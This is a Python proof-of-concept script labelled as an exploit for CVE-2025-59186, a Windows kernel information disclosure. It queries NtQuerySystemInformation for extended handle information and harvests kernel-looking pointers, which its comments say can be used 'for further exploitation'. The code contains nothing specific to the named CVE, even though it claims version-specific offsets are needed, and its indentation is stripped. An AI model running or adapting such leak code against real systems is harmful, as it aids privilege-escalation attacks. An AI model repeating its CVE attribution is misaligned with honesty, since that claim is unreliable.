The following code is for security research and authorized testing only.
python
# CVE-2025-59186 - Windows Kernel Information Disclosure PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation approach for the
# Windows Kernel information disclosure vulnerability.
# Note: Actual exploitation requires specific kernel structures and offsets
# that vary across Windows versions.
import ctypes
import struct
import sys
# Windows API constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
class KernelInfoDisclosure:
def __init__(self):
self.ntdll = ctypes.WinDLL("ntdll.dll")
self.kernel32 = ctypes.WinDLL("kernel32.dll")
def trigger_info_leak(self):
"""
Trigger the Windows Kernel information disclosure by sending
a crafted system information query that exposes sensitive
kernel memory contents.
"""
# System Information Class that triggers the vulnerable code path
SystemExtendedHandleInformation = 64
# Allocate buffer for system information query
buffer_size = 0x100000 # 1MB buffer
buffer = ctypes.create_string_buffer(buffer_size)
return_length = ctypes.c_ulong(0)
# NtQuerySystemInformation - vulnerable API call
# The vulnerability exists in how the kernel handles certain
# information classes and returns data to user-mode callers
status = self.ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
buffer,
buffer_size,
ctypes.byref(return_length)
)
if status == 0: # STATUS_SUCCESS
print(f"[+] Successfully retrieved system information")
print(f"[+] Return length: {return_length.value}")
# Parse the leaked kernel information
# Sensitive data may include kernel pointers, token addresses,
# and other privileged information
leaked_data = buffer.raw[:return_length.value]
return leaked_data
else:
print(f"[-] Query failed with status: 0x{status:08X}")
return None
def analyze_leaked_data(self, data):
"""
Analyze the leaked data to extract sensitive kernel information.
"""
if not data:
return
# Extract kernel addresses and sensitive pointers
# These can be used for further exploitation
kernel_addresses = []
for i in range(0, len(data) - 8, 8):
value = struct.unpack('<Q', data[i:i+8])[0]
# Check if value looks like a kernel address
# Kernel addresses on x64 typically start with 0xFFFF...
if (value >> 48) == 0xFFFF:
kernel_addresses.append(value)
print(f"[+] Found {len(kernel_addresses)} potential kernel addresses")
for addr in kernel_addresses[:10]:
print(f" Kernel address: 0x{addr:016X}")
def main():
print("=" * 60)
print("CVE-2025-59186 - Windows Kernel Info Disclosure PoC")
print("=" * 60)
exploit = KernelInfoDisclosure()
leaked_data = exploit.trigger_info_leak()
exploit.analyze_leaked_data(leaked_data)
if __name__ == "__main__":
main()